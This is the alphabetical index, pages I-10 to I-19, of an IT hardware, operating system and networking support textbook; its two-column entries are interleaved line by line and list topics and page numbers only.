down-plugging, 23 dust protection, 286 email, mobile device, 265–267
drawing pad, 247 DVD, 93 commercial provider email
drifting out of sync, Windows, DVD-R/RW, 62–63 configuration, 266, 266
447 DVD+R/RW, 62–63 corporate and ISP email
drive (HDD) activity lights, 27 DVDs (Digital Versatile Discs), configuration, 266–267, 267
drive availability, 102–103 62–63 IMAP, 267
bad sectors, 103 DVI (Digital Visual Interface), incoming mail server, 267
blue screen of death 34–35, 35 outgoing mail server, 267
(BSOD), 103 dynamic disks, Windows, 368, POP3, 267
bootable device not found, 406 ports, 267
103 Dynamic Host Configuration synchronizing, 265
clicking sound, 103 Protocol (DHCP), 177, 177, 185, TLS, 266, 267
constant LED activity, 103 186, 189–191, 190 embedded and Internet
grinding noise, 103 Client, 186 appliances, compared. see
LED status indicator activity, leases, 189–191, 190 Internet and embedded
103 reservations, 191, 568 appliances, compared
missing drives in OS, 103 scope, 189 embedded systems, 215–216
read/write failure, 103 Windows, 457 SCADA systems, 215
drive configuration, 56 dynamic RAM, 67 workflow and process
drive enclosures, 60–61, 61 automation systems, 215
drive format, Windows, 425, E emulation, 73
425 Encrypting File System (EFS),
EAP over Wireless (EAPoW),
drive reliability and 589–591, 590
558
performance, 103–105, 104, encryption, 552
EAP with Transport Layer
105 encryption settings, 565,
Security (EAP-TLS), 559, 560
data loss/corruption, 105 566
Ease of Access settings,
extended read/write times, end of life (EOL), 215
Windows, 342, 342
103 end of life (EOL) system, 410,
ECC (error correcting code)
file recovery software, 105, 544
RAM, 70
105 endorsement key, 96
EIDE (extended IDE), 37
IOPS, 105 endpoint detection and
802.1X enterprise, 558
SMART, 103, 104 response (EDR)
802.11 standards, 31
driver roll back, Windows, 439, remote access technologies,
elasticity, 235, 236
439–440, 440 653

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-10 | Index

endpoint management event sources and severity fan assembly, 48, 50, 76
software, 270 levels, 379 fan connectors, 28
end-user acceptance, 694 evil twin, 546–547 fan considerations, 94
end user best practices, Evolution-Data Optimized fan cooling systems, 48–50
workstation, 582 (EV-DO), 251 fan assembly, 48, 50, 76
end-user license agreement Exchange ActiveSync account, fans, 49
(EULA), 665 266 heat sink, 48, 48–49, 50, 67,
ENERGY STAR 80 PLUS execute, 65, 72, 73 76
compliant PSU, 45 execution control, workstation, thermal pad, 48
enterprise apps, mobile OS, 584–585, 585 thermal paste, 48–49
640–641, 641 AutoPlay, 585, 585 fan exhaust, 3, 3
enterprise mobility autorun.inf, 585 fans, 49
management (EMM), 270, trusted/untrusted software Fast Ethernet (100BASE-T), 120,
270–271, 271, 623, 623–624 sources, 584–585 127, 135, 135
enterprise wipe, mobile OS, exFAT, Windows, 407 FAT32, Windows, 407
627 expansion card, 28 FAT/FAT32, Linux, 408
environmental impacts, expansion card slot, 3, 4 feature updates, Windows,
710–711 expansion slots, memory slots 413, 421
dust cleanup, 710–711 compared to, 68 feed assembly, thermal printer,
humidity control, 711 exposing stage, 310 319
temperature control, 711 ext3/ext4, Linux, 408 feed roller, 310, 311
ventilation control, 711 extended IDE (EIDE), 37 feed trays, 300
environmental procedures. Extended Page Table (EPT), 74, fetch, 65, 72, 73
see safety and environmental 231 Fiber Channel and Internet
procedures Extensible Authentication SCSI (iSCSI), 123
environmental regulations, Protocol (EAP), 558–560, 560 fiber channel (FC) connector,
707 extensible firmware interface 142
environment variables, (EFI), 434–435 fiber optic cable, 142
Windows, 349 extensions, browser, 595 fiber to the curb (FTTC) and
EPT (Extended Page Table), 74 extensions, virtualization, 231 very high-speed DSL (VDSL),
equipment locks, 575, 575 external drives, Windows, 423 164
erasing/wiping software, 669 external hardware token, fiber to the premises (FTTP)
error checking, 70 Windows, 429 and optical network terminals
error correcting code (ECC) external interference, 219 (ONTs), 164–165, 165
RAM, 70 external SATA (eSATA), 14, 22 fiber to the X (FTTx), 164
error event, Windows, 379 external threats, 547 field-replaceable units (FRU),
eSATA (external SATA), 14, 22 extruder, 322 277
escalate, 85–86 filament, 323
escalation levels, 688–689 F file editors, Linux, 510–511
escaping, Linux, 513 File Explorer, Windows, 343,
facial recognition, mobile OS,
ESD (electrostatic discharge), 343–346
621
19, 19, 55, 68, 75 directory structure, 344
facial recognition, Windows,
ethernet print device drives, 344
484
connectivity, 296–297, 297 File Explorer Options, 345,
factory reset, mobile OS, 632
Ethernet tab, Windows, 382 345
failed attempts lockout,
event sources and severity folders, 344
workstation, 583
levels, Windows, 379 Indexing Options, 346,
failed login attempts, mobile
Event Viewer (eventvwr.msc), 346
OS, 621
Windows, 359, 378, 378–379 Network object, 460
fake security warnings, mobile
Applications and Services system files, 344
OS, 642
Logs, 379 system objects, 343
fan, 3-D printer, 322
Default Log Files, 378–379 fileless malware, 604

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-11

file management commands, apps, mobile OS, 623 FPU (floating-point unit), 72
Linux, 514–515 configuration, 567, 567 frame rate, 9
cp command, 514 security, 567, 567 frames per second (fps), 9
df command, 515 Windows Defender Firewall, frequency bands, 146
du command, 515 588, 588–589, 589 2.4 GHz, 146, 147–148, 148
mv command, 514 firmware update, 564, 567 5 GHz, 146–147
rm command, 514 Firmware Upgrade, 564, 565 20 MHz channels used
file management commands, 5G, 167, 251 in, 147
Windows, 394 5 GHz channel layout, 147, 147 6 GHz standard, 150
file permission commands, 5 VDC, 46, 46 channels, 146
Linux, 516–517 fixboot, Windows, 42 licensed or unlicensed, 153
chmod command, 517, 517 fixed disk (HDD or SSD), 93 WLAN installation
chown command, 517 fixed wireless internet access, considerations, 151
octal notation, 517 165–166 frequently asked questions
file/print servers, 200–201 geostationary orbital (FAQs), 692
FTP, 201 satellite internet access, 165 frequent shutdowns, Windows,
NetBIOS, 201 low Earth orbit (LEO) 445
SMB, 200 satellite internet access, 166 FTP over Secure Shell (SFTP),
file recovery software, 105, 105 wireless internet service 201
files providers (WISPs), 166 FTP-Secure (FTPS), 201
listing, in Windows, 392 flash chips, 54 F-type connector, 143, 143
sharing, in Windows, flash drives, 61, 61, 423 fully qualified domain name
492–493, 493 flashing screen, 115 (FQDN), 191–192, 202, 203
synchronization, 238 flash memory, 113 fuser, 311
system errors and flat-panel display, 9 fuser assembly, 311
anomalies, browser, 608 floating-point unit (FPU), 72 fuses, 708
file server, 200 foiled twisted pair (FTP), 134, fusing stage, 311
Windows, 494, 494 134 fuzzy image, 115
fileshare, 200 foiled/unshielded twisted pair
File Transfer Protocol (FTP), (F/UTP), 134, 134
186, 201 foil outer shield (F/FTP), 134
G
file transfer software, 654 folder redirection, Windows, Galois Counter Mode Protocol
FileVault, macOS, 529–530 503, 503 (GCMP), 557
find command, Linux, 513 folders, Windows, 344 Gaming settings, Windows, 356
Finder, macOS, 530 Force Quit, macOS, 536, 537 garbled print, 330
fingerprint sensors format command, Windows, GB (gigabytes), 65
mobile OS, 281, 621 396 GDDR (Double Data Rate), 28
SOHO, 574 formatting, Windows, 368 gears, 3-D printer, 322
Windows, 484 form factors, 24–26 General tab, Windows, 387, 387
finisher unit, 328 ATX, 24 G/E or 1X, 251
finishing issues, 328–329 function of, 24 geostationary orbital satellite
hole punch, 329 for HDDs, 56 internet access, 165
incorrect page orientation, installation, 25–26, 26 gesture support, 248
328–329 ITX, 25 gesture support, macOS, 526
staple jam, 329 laptop, 275, 278 Gigabit Ethernet (1000BASE-T),
Finishing tab, printer, 303 smartphone, 246 120, 125, 128, 135, 135, 136,
finishing tab in printing forwarding, IPv4, 173, 173–174, 140
preferences, 329 174 gigabytes (GB), 65
fire, electrical, 709 4G, 166, 251 global addressing, 181
Firewall & network protection 4G+, 251 globally unique identifier
page, Windows, 460, 460 4-lane SSDs, 55 (GUID) partition table (GPT),
firewalls, 168, 168, 213 fps (frames per second), 9 425, 434

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-12 | Index

Global Positioning System hard disk drive (HDD), laptop, hide protected operating
(GPS), 272 280, 280 system files, Windows, 345
Global System for Mobile hard token, Windows, 483 high availability (HA), in cloud,
Communication (GSM), 166, hardware-assisted 235
251 virtualization, 74 High-Definition Multimedia
Google Play, 262, 262 hardware compatibility Interface (HDMI), 9–10, 10, 28,
Google Workspace, 263 update limitations, 29
gpresult, Windows, 487 408–409, 409 high density (HD) connectors,
GPU (Graphics Processing Windows, 420 36
Unit), 28 Hardware Compatibility List high network traffic, mobile
gpupdate, Windows, 487 (HCL), 421 OS, 642
grandfather-father-son (GFS), hardware failure issues, mobile High Speed Packet Access
659 device, 286 (HSPA), 251
graphical interface fails to hardware port, 4, 5 hole punch, 329
load/black screen, Windows, hardware security module home automation systems,
442 (HSM), 96 mobile OS, 628, 628
graphics memory, 28 hash, 552 home client OS, 402
Graphics Processing Unit hashing, 552 home folders, Windows,
(GPU), 28 HD (high density) connectors, 501–502, 502
Graphics Processing Unit 36 home router, 563–564
(GPU), monitoring in Windows, HDCP (control and digital changing channels, 566
381 content protection), 9 disable guest access, 566
grep command, Linux, 513 HDD (hard disk drive), 55, encryption settings, 565,
grid power, 45, 48 55–56 566
grinding noise, 103 HDMI (High-Definition firewall configuration, 567,
grounding, equipment, 708, Multimedia Interface), 4, 9–10, 567
708–709 10, 28, 29 Internet access, 564
group management headers, 27, 27 LAN configuration, 565–566
commands, Linux, 516 audio ports, 27, 27 physical placement, 563
group policy, Windows, HDD activity lights, 27 port forwarding, 568–569
486–487, 487 power button (soft power), setup, 563–564
updates, 487 27 SSID, 565
Group Policy Editor (gpedit. USB ports, 27 WAN IP, 564
msc), Windows, 373, 373, 414 headset, 248 WLAN configuration,
guest account, workstation, health and safety laws, 707 565–566
583 healthcare data, 664 host address configuration,
guest OS security, 233 heating element, in thermal IPv4, 175–176, 176
guest OS (or host-based) printer, 319 host name, 191
system, 228, 229 heat-sensitive print side, of hostname command,
GUID [globally unique thermal paper, 319 Windows, 467
identifier] Partition Table (GPT), heat sink, 48, 48–49, 50, 67, 76 host number (host ID), 172, 172
424, 425 help system host security, 233
gyroscopes, 246 Linux, 510 hotspots, 253, 253, 254
Windows, 392 hot swap, 56, 106
hertz (Hz), 9 HSM (hardware security
H hex, 126 module), 96
half-duplex, 128 H/H+, 251 hub/control system, 216
handshake sequence, 184, 184 hibernate, Windows, 397 hubs, 127–128, 128
hard disk drive (HDD), 21, 55, Hibernate/Suspend to Disk, human–machine interface
55–56 Windows, 353 (HMI), 215
activity lights, 27 hidden files and folders, hybrid deployment model, 236
hard-disk drive (HDD), fixed, 93 Windows, 345 hybrid fiber coax (HFC), 163

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-13

HyperText Markup Language Indexing Options, Windows, application and driver

(HTML), 202 346, 346 support/backward
HyperText Transfer Protocol indicators, cellular data compatibility, 420–421
(HTTP), 185, 186, 202, 202 networking, 251 backup files and user
forms, 202 Indoor Positioning System preferences, 421
web applications, 202 (IPS), 272 boot methods, 422–424, 423
Hypertext Transfer Protocol industrial control system (ICS), internal hard drive
Secure (HTTPS), 185, 187, 203, 215 (partition), 424
204 infected systems quarantine, Internet-based boot, 424
HyperThreading, 74 611–612 network boot, 424
hypervisor, 228–229, 229 disable System Restore, 612 optical media, 423
hypervisor security, 233 quarantine infected USB and external drives
Hz (hertz), 9 systems, 611–612 and flash drives, 423
information/data, gathering, clean install, 420
680 disk configuration, 424–425
I information event, Windows, drive format, 425, 425
IA-32 (Intel Architecture), 73 379 GPT-style partitioning,
ICANN, 191 information security, 542–543, 425
iCloud, 263 543 MBR-style partitioning,
iCloud, macOS, 530, 530 Information Technology 424–425
IDE (integrated drive eXtended (ITX), 25 feature updates, 421
electronics), 37, 37 infrastructure as a service hardware compatibility, 420
IEEE. see Institute of Electrical (IaaS), 236, 237 Hardware Compatibility List
and Electronics Engineers Ingress Protection (IP) scale, (HCL), 421
(IEEE) 286 in-place upgrade, 420
image, 233 initializing disks, Windows, 367 recovery partition, 426
image, dim, 115 injector, 131 repair installation, 426
image deployment, Windows, ink cartridge, replacing, 317, reset Windows, 426
422 317 third-party drivers, 421
imaging drum, 310 inkjet print defects, 328 unattended installations,
IMAP-Secure (IMAPS), 206 inkjet printer imaging process, 421–422, 422
impact printer 314–315, 315 installing and configuring,
components, 321 inkjet printer maintenance, 17–33. see also configuration;
definition of, 320 316–318 installations and upgrades,
loading a tractor-fed impact duplexing assembly, 316 Windows
printer with paper, 320 ink cartridge, replacing, 317, adapter connectors, 22–24
maintenance, 320–321 317 capture cards, 29
paper, 320 paper handling, 316 connector types, 20, 20
replaceable ribbon, 321 print head alignment, 317 CPU sockets, 20, 20
replace the print head, print head cleaning, 317, electrical safety, 19
321 318 ESD, 19, 19
impersonation, 544, 545 in-place upgrade, Windows, form factors, 24–26
implicit deny, Windows, 477 420 functions, 17–18, 18
improper charging symptoms, in-plane switching (IPS), 245 guidelines for, 42
284, 285 input/output operations per headers, 27, 27
incident reports, 689 second (IOPS), 105 NIC, 30–31, 31
incident response, 666–667 input/output (I/O) port, 3, 4, 4 power connectors, 28
incident response plan (IRP), input voltage, 44 sound cards, 29–30, 30
666–667 insider threats, 547 storage connectors, 21–22
incinerating, 670 installation, browser, 594–595 system devices, 43–79
incremental backups, 659 installations and upgrades, CPU, 72–78
indexing, Windows, 406 Windows, 420–427 guidelines for, 79

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-14 | Index

power supplies and international roaming, 250 Internet Options, Windows,

cooling, 44–51 Internet access, 564 357
storage devices, 52–64 Internet access using private Internet Protocol (IP), 161, 161,
system memory, 65–71 addressing, 175 171, 172
(see also random-access Internet Accounts, macOS, 529 addressing scheme, 456–457
memory [RAM]) Internet and embedded configuration, troubleshoot,
system memory slots, appliances, compared, 212–217 466–468
20–21 embedded systems, 215–216 DHCP, 457
video cards, 28, 29 Internet of Things (IoT), 216 static configuration, 457
Instant Search, Windows, 360 Internet security appliances, Windows, 456–457, 458
Instant Secure Erase (ISE), 669 213–214 Internet router, 121
Institute of Electrical and legacy systems, 215 Internet security appliances,
Electronics Engineers (IEEE) load balancers, 214, 214 213–214
802.3 standards (xBASE-Y), proxy servers, 212–213, 213 antivirus/antimalware
120, 149, 149–150 Internet-based boot, Windows, solutions, 213
802.3af, 131 424 content filters, 214
802.3at (PoE+), 131 Internet connection types, DLP systems, 214
802.3bt (PoE++ or 160–169, 161 firewalls, 213
4PPoE), 131 cellular radio internet IDS, 213
802.11 series of standards connections, 166–167 spam gateways, 214
(Wi-Fi), 145 fiber to the curb (FTTC) and UTM, 214
802.11a, 146–147 very high-speed DSL (VDSL), Internet Service Provider (ISP),
802.11ac, 149, 149–150 164 121, 129, 160, 161
802.11ax, 149, 150 fiber to the premises intrusion detection systems
802.11b, 147, 148 (FTTP) and optical network (IDS), 213
802.11g, 147, 148 terminals (ONTs), 164–165, in use, Windows, 381
802.11n, 148, 148–149 165 Invalid boot disk, Windows,
insulation displacement firewalls, 168, 168 441
connector (IDC), 126, 218 fixed wireless internet I/O (input/output) port, 3, 4, 4
integrated development access, 165–166 IOPS (input/output operations
environment (IDE), 261 limited/no, mobile OS, 642 per second), 105
integrated drive electronics modems, 160–164 iOS apps, 261, 262
(IDE), 37, 37 routers, 167, 167–168 IP address filtering, 567, 567
integrated graphics, 428–429 Internet Engineering Task ip command, Linux, 521
Intel, 73, 74, 75, 75, 77 Force (IETF), 171 ipconfig command, Windows,
interface features, macOS, Internet exchange points 466–467, 467
524–525 (IXPs), 238 IPv4 addressing, 172–179
docks, 524 Internet Explorer (IE) browser, address classes and default
Mission Control, 525, 525 357 subnet masks, 175, 175
multiple desktops, 525 Internet layer, 171 APIPA, 177
Spotlight Search, 524 Internet Mail Access Protocol DHCP, 177, 177
Terminal, 525 (IMAP), 186, 267 Internet access using
interfaces, 4, 4–5 Internet Message Access private addressing, 175
interference issues, mobile OS, Protocol (IMAP), 206 IPv4 forwarding, 173,
636 Internet of Things (IoT), 166, 173–174, 174
intermittent connection, 220 216 IPv4 host address
intermittent shutdowns, 110 hub/control system, 216 configuration, 175–176, 176
intermittent wireless mobile OS, 627–629 network prefixes, 172,
connectivity, 220 home automation 172–173
internal hard drive (partition), systems, 628, 628 private address ranges, 174
Windows, 424 security concerns, 629 SOHO router configuration,
internal transfer rate, 56 smart devices, 216 178–179, 179, 198

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-15

IPv6 addressing, 180–181 laptop loading paper, 312

dual stack, 181 ARM-based CPUs, 73, 77 maintenance kit, replacing,
global and link-local disassembly processes, 274, 314
addressing, 181 274–275 toner cartridge, replacing,
IPv6 network prefixes, 180 form factors and 313, 313
IPv6 notation, 180 plastics/frames, 275 laser printer print defects,
Is command, Linux, 512 hand tools and parts, 327–328
IT Infrastructure Library (ITIL), 275 latency, 221
692 dual-channel architecture, LCD/TFT (liquid crystal display
ITX (Information Technology 69 thin film transistor), 9
eXtended), 25 hardware, installing and leaked personal files/data,
configuring, 274–282 mobile OS, 642–643, 643
J battery replacement, leases, DHCP, 189–191, 190
275–277 least privilege, Windows, 477
jailbreak, 639–640 biometric security LEDs (light-emitting diodes), 2,
JavaScript, 677, 677 components, 281 9, 103
jitter, 222 disk upgrades and legacy cable types, 34–41
joules rating, 714 replacement, 279–280 adapter cables, 39
journaling, Windows, 406 keyboard and touchpad DVI, 34–35, 35
jumpers to configure modes, replacement, 281 IDE, 37, 37
100 key replacement, 281 SCSI, 36, 36–37
laptop disassembly serial cables, 38, 38
K processes, 274, 274–275 VGA, 35, 35
near-field legacy software applications,
Kerberos, 483, 561
communication (NFC) 230
kernel panic, 102
scanner, 281 legacy systems, 215
keyboards
RAM and adapter legal security controls,
laptop, replacing, 281
replacement, 277–279 Windows, 476–477
macOS, 526
HDD, 56 LGA (land grid array) form
Keychain Access app, macOS,
ports, 254 factor chips, 75, 75
529
RAM, 68 license compliance monitoring,
Keychain First Aid, macOS, 529
SSD, 55 665–666
key combinations, 90
wireless access points (APs), licensing, 691
key exchange, 553
122 open-source license, 666
key fob, 574
laser printer imaging process, Windows, 413, 415
keying, 4
309, 309–312 Windows applications, 431
keylogger, 604–605, 605
charging stage, 310 lifting techniques, 710
key operated door locks, 574
cleaning stage, 311 light-emitting diodes (LEDs), 2,
key replacement, 281
color laser printers, 312 9, 245
knowledge base (KB) articles,
developing stage, 310 lighting, 576
692
duplex printing, 312 Lightning, 12, 12
“known good” technique, 85,
exposing stage, 310 Lightning connector, 254
114
fusing stage, 311 Lightning-to-USB adapter
paper output path, 312 cable, 269
L printer cycle, 312 Lightweight Directory Access
labeling system, for structured processing stage, 309 Protocol (LDAP), 187, 206
cabling, 127 separation pad, 311 limited connectivity message,
labelling RAM, 69–70 transferring stage, 310–311 223
LAN configuration, 565–566 laser printer maintenance, limited/no Internet
land grid array (LGA) form 312–314 connectivity, mobile OS, 642
factor chips, 75, 75 calibrating a printer, 314 link, 23
language, 701 cleaning the printer, 313–314 link-local addressing, 181

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-16 | Index

link or network interface layer, local networking hardware, Windows Hello,

171 119–158 483–484, 484
Linux OS, 403–404, 404, 508–523 hubs, 127–128, 128 workstation, 583
backup commands, 522 managed switch, 129–131, log off, Windows, 397
command interface, 130, 131 long-range fixed wireless,
510–511 network cable types, 153–154
console switching, 509 133–144 Long-Term Evolution (LTE), 166,
desktop environments, 509, network interface card 251
509 (NIC), 125–126, 126 loopback plug, 139, 140
file management network types, 120–124 loops, 674–675
commands, 514–515 patch panel, 126, 126–127, low disk space, Windows, 443
file permission commands, 127 low Earth orbit (LEO) satellite
516–517 Power over Ethernet (PoE), internet access, 166
file systems, 408, 408 131 low level format tools, 669
guidelines for supporting, SOHO network, guidelines low memory, Windows, 443
539 for installing, 158 lucent connector (LC), 142,
navigation commands, 511, switch, 128–129, 129 142
511–512 unmanaged switch, 129 lunchtime attack, 582
network management wireless networking types,
commands, 521 145–157 M
package management local OS firewall settings,
M.2, 21, 21, 54–55, 278, 280
commands, 517–519 Windows, 459
macOS, 524–538
process monitoring Local Security Policy (secpol.
app installation and
commands, 519–520 msc), Windows, 359
management, 531–532
scheduling commands, 522 Local Security Policy editor
device settings, 534–535
search commands, 513 (secpol.msc), Windows, 373
guidelines for supporting,
shells, 508 local sign-in, Windows, 483
539
terminals, 508 Local Users and Groups,
interface features, 524–525
user account management, Windows, 478, 479
network settings, 533, 533,
515–516 Local Users and Groups
534
liquid-based cooling system, (lusrmgr.msc), Windows, 371,
OS and app updates,
49, 49–50 371
532–533, 533
liquid crystal display (LCD), location services, 272, 272
security and user
244–245 locator apps, 626–627, 627
management, 528–530
liquid crystal display thin film lock types, 574–575
System Preferences,
transistor (LCD/TFT), 9 door locks, 574, 574–575
525–527, 526
liquid damage symptoms, equipment locks, 575, 575
Time Machine, 535, 535
mobile device, 286 log files, Windows, 385
troubleshoot, 536–537, 537
listing package manager logins
Magic Mouse, macOS, 526
sources, Linux, 518 failed attempts, mobile OS,
Magic Trackpad, macOS, 526,
Lithium ion (Li-ion) battery 621
527
packs, 276–277 scripts, 487–488
magnetometers, 574
load balancers, 214, 214 Windows options, 483–485
magnetometer sensor, 272
loading paper, 312 facial recognition, 484
Mail applet, Windows, 356,
local account, Windows, 477 fingerprint, 484
356
local area network (LAN), 120 local sign-in, 483
mailbox servers, 205–206
small office home office network sign-in, 483
IMAP, 206
(SOHO), 121, 121–122 remote sign-in, 483
POP, 205, 205
local network connectivity, security key, 484
Mail Exchange (MX), 194, 204
Windows, 468–470, 469, 470 single sign-on, 484–485
mail servers, 204–205
troubleshoot, 468–470, 469, username and
maintenance kit, replacing, 314
470 password, 483

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-17

malware management shortcuts, Microsoft 365, 263

antivirus software, 612, Windows, 359–360 Microsoft account, 339, 477
612–613 Manual startup, Windows, 383 Microsoft account, Windows,
disable System Restore, mapped drives, Windows, 494, 477
612 495 Microsoft Management
educate end user, 614 mass-mail spam, 604 Console (MMC), 358, 358, 375,
encyclopedias, 611 mass storage, virtualization 375
infection prevention, and, 232 Microsoft Product Activation,
613–614 mass storage devices, 52, 52–53 350
issues, mobile device, 289 mass storage drive vendors, 53 Microsoft Remote Assistance
on-access scanning, 613 master boot record (MBR), (MSRA), 651, 651
OS reinstallation, 613 Windows, 434 Microsoft’s Exchange mail
payloads, 604–606 master boot record (MBR) server, 266
quarantine infected partition, 424–425 Microsoft Windows OS, 402
systems, 611–612 master key (MK), 559 midspan, 131
Recovery Mode, 613 material safety data sheet migration, 279
re-enable System Restore (MSDS), 295, 715–716 Mini-B connector, 254
and services, 614 materials handling and Mini-DIMM, 278
removal, best practices for, responsible disposal, 715–716 Mini PCIe card, 278–279, 279
610, 610–611, 611 asset disposal, 716 Mini-SATA (mSATA), 280
removal tools and methods, battery disposal, 716 mirroring, 58, 58–59
612, 612–613 material safety data sheets, misconfigurations, 112
scheduled scans, 613 715–716 mismatched modules,
scripting, 680–681 proper disposal, 716 configuration with, 70
vectors, 603–604 toner disposal, 716 missing drives in OS, 103
Windows, 444 md command, Windows, 394 missing video issues, 113–115,
managed switch, 129–131, 130, media access control (MAC) 114
131 address, 125–126, 126, 128, Mission Control, macOS, 525,
management consoles, 129, 145 525
Windows, 364–376 media encryption key (MEK), M keyed 4-lane SSDs, 55
Certificate Manager console 669 MLC (multi-level cell) NAND, 54
(certmgr.msc), 372, 372–373 megatransfers per second (200 mobile application
Device Manager (devmgmt. MT/s), 67 management (MAM), 270
msc), 364–366 member server, Windows, 485 mobile apps, 261–263
disk maintenance tools, memory card, 61, 62 Android apps, 262, 262
368–370 memory modules, 67–68, 68 iOS apps, 261, 262
Disk Management memory monitoring, Windows, permissions, 263
(diskmgmt.msc) console, 381–382 synchronizing, 265
366–368, 367 memory slots, expansion slots mobile app source security
Group Policy Editor (gpedit. compared to, 68 concerns, 640–641
msc), 373, 373 metacharacters, Linux, 513 APK sideloading, 640
Local Users and Groups metered network, Windows, app spoofing, 640
(lusrmgr.msc), 371 463, 463 bootleg app stores, 641
Microsoft Management metered utilization, 235 enterprise apps, 640–641,
Console (MMC), 375, 375 metropolitan area network 641
Registry Editor (regedit.exe), (MAN), 121 mobile data security, 624–626
374–375 Micro-B USB connector, 254 device encryption, 624, 625
Services (services.msc), 383 Micro-DIMM, 278 remote backup apps,
Task Scheduler (tasksch. microphone, 248 625–626, 626
msc), 370–371, 371 micro SATA (μSATA or uSATA), Mobile Device Management
management information base 280 (MDM), 270, 488, 488, 623–624,
(MIB), 209 microSD cards, 62 640

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 I-18 | Index

mobile devices mobile OS security, 620–630 CPU sockets, 20, 20

accessories, 247–248 device wipe, 627 electrical safety, 19
Bluetooth wireless enterprise mobility ESD, 19, 19
connections, 255–256 management, 623, 623–624 form factors, 24–26
cellular data networking, enterprise wipe, 627 functions, 17–18, 18
250–252 Internet of Things (IoT), guidelines for installing and
configuring, 261–273 627–629 configuring, 42
display components, locator apps, 626–627, 627 headers, 27, 27
246–247 mobile data security, 624–626 install and configure, 17–33
display types, 244–245 remote wipe, 627 legacy cable types, 34–41
docking stations, 258, screen locks, 620–621, 621 manufacturers of, 18
258–259 software, 622–623 multi-socket, 77
enterprise mobility troubleshoot, 639–644 NIC, 30–31, 31
management (EMM), 270, mobiles, CPU and, 77 power connectors, 28
270–271 mobile security symptoms, server-class, 77
guidelines for supporting, 641–643 sound cards, 29–30, 30
291 fake security warnings, 642 storage connectors, 21–22
hotspots, 253, 253, 254 high network traffic, 642 system memory slots,
laptop hardware, installing high number of ads, 641 20–21
and configuring, 274–282 leaked personal files/data, video cards, 28, 29
location services, 272, 272 642–643, 643 motion control, 3-D printer,
near-field communication limited/no Internet 322
wireless connections, 257, connectivity, 642 motion sensors, 576
257 sluggish response time, 642 motors, 3-D printer, 322
port replicators, 258, unexpected application mSATA SSD form factor, 54, 54
258 behavior, 642 multi-card reader, 62, 62
setting up, 244–260 mobile software multi-channel system memory,
smartphone and tablet guidelines for supporting, 69, 69–70
docks, 259, 259 645 multicore CPU, 74
tethering, 253, 254 OS and app security, 639–644 multicore packages, 74
troubleshooting issues, OS and app software, multifactor authentication
283–290 631–638 (MFA), 481, 559, 560
two-factor authentication, OS security, 620–630 multi-function devices (MFDs),
271, 271 model, 170 294–308
Wi-Fi networking, 249–250 modems, 160–164 print device connectivity,
wired connection methods, cable modems, 163, 164 295–298
254–255 digital subscriber line print device connectivity,
wireless access points (APs), modems, 162, 162, 163 selecting, 294
122 modular PSU, 47, 47 print device vendors, 294
mobile device synchronization Molex connector, 14, 14 printer drivers and page
(sync), 264–269 motherboards, 1–42 description languages,
account setup, 263 adapter connectors, 22–24 298–299
apps, 265 cable types and connectors, printer preferences,
calendar, 265 2–16 301–303
contacts, 264 capture cards, 29 printer properties, 300–301
email, 265 connector types, 20, 20 printer security, 305–306
methods, 268–269 CPU compatibility, 76–77 printer sharing, 303–305
to automobiles, 269 CPU socket, 76 printer unboxing and setup
to PCs, 269, 269 desktop, 77 location, 294–295
passwords, 265 mobiles, 77 scanner configuration,
pictures, music, video, and servers, 77 306–307
documents, 265 workstations, 77 selecting, 294–295

Index

LICENSED FOR USE ONLY BY: ATG LEARNING · 7498307 · OCT 09 2022
 Index | I-19

multi-level cell (MLC) NAND, 54 NetBIOS over TCP/IP, 186 network monitoring
multi-mode fiber (MMF), 142 netstat command, Windows, servers, 209–210
multiple displays 473 remote terminal access
macOS, 525 net user commands, Windows, servers, 207–208
Windows, 352 479, 495 web servers, 201–203
multiple input multiple output network access point (NAP), Network File System (NFS), 408
(MIMO), 167 206 networking, virtualization and,
multi-socket motherboard, 74, network access server (NAS), 233
77 206 network interface card (NIC),
multitenant (or public) network address translation 30–31, 31, 125–126, 126
deployment model, 236 (NAT), 175 Network & Internet utilities,
multiuser MIMO (MU-MIMO), Network and Sharing Center, Windows, 357
150 Windows, 357 network location, Windows,
mv command, Linux, 514 Network Basic Input/Output 459–460
MX record, 194 System (NetBIOS), 201 Network Location Awareness
network boot, Windows, 424 (NLA), Windows, 459, 459
network cable types, 133–144 network management
N coaxial (coax) cable, 143, commands, Linux, 521
name resolution, Windows, 143 dig command, 521
471–472, 472 copper cabling ip command, 521
NAND (NOT AND) flash connectors, 135, Samba command, 521
memory, 54 135–136 network monitoring, Windows,
navigation commands installation 382
Linux, 511, 511–512 considerations, 141 network monitoring servers,
cat command, 512 installation tools, 209–210
cd command, 512 136–138 SNMP, 209, 209
Is command, 512 test tools, 138–140 syslog, 210, 210
pwd command, 512 network tap, 140 network number (network ID),
Windows, 392–394 optical cabling, 141, 172, 172
changing the current 141–142, 142 Network object in File Explorer,
directory, 393, 393 twisted pair cable, 134–136 Windows, 460
changing the current network compatibility, 409 Network Operating System
drive, 394 network configuration (NOS), 402
listing files and concepts, 189–197 network ports, Windows, 473,
directories, 392–393 DHCP, 189–191, 190 473
nC/nT notation, 74 DNS, 191–194, 192 network prefixes, 172, 172–173
Nearby Share, Android, 637, VLANs, 195, 195–196 IPv4, 172, 172–173
654 VPNs, 196, 196 IPv6, 180
Nearby Sharing, Microsoft, 492, Network Connections (ncpa. network printer using a vendor
654 cpl) utilities, Windows, 357 tool, 303
Near Field Communications network drives, remapping, network profile, Windows, 459
(NFC), 155 679 network/PXE, 93
scanner, 281 networked hosts, services network reset, Windows,
troubleshoot, 637 provided by, 200–211 468
wireless connections, 257, directory and network scan services, 307
257 authentication servers, network services, supporting
Neighbor Discovery (ND), 181 206–207 guidelines for, 225–226
nested RAID solutions, 56 file/print servers, 200–201 Internet and embedded
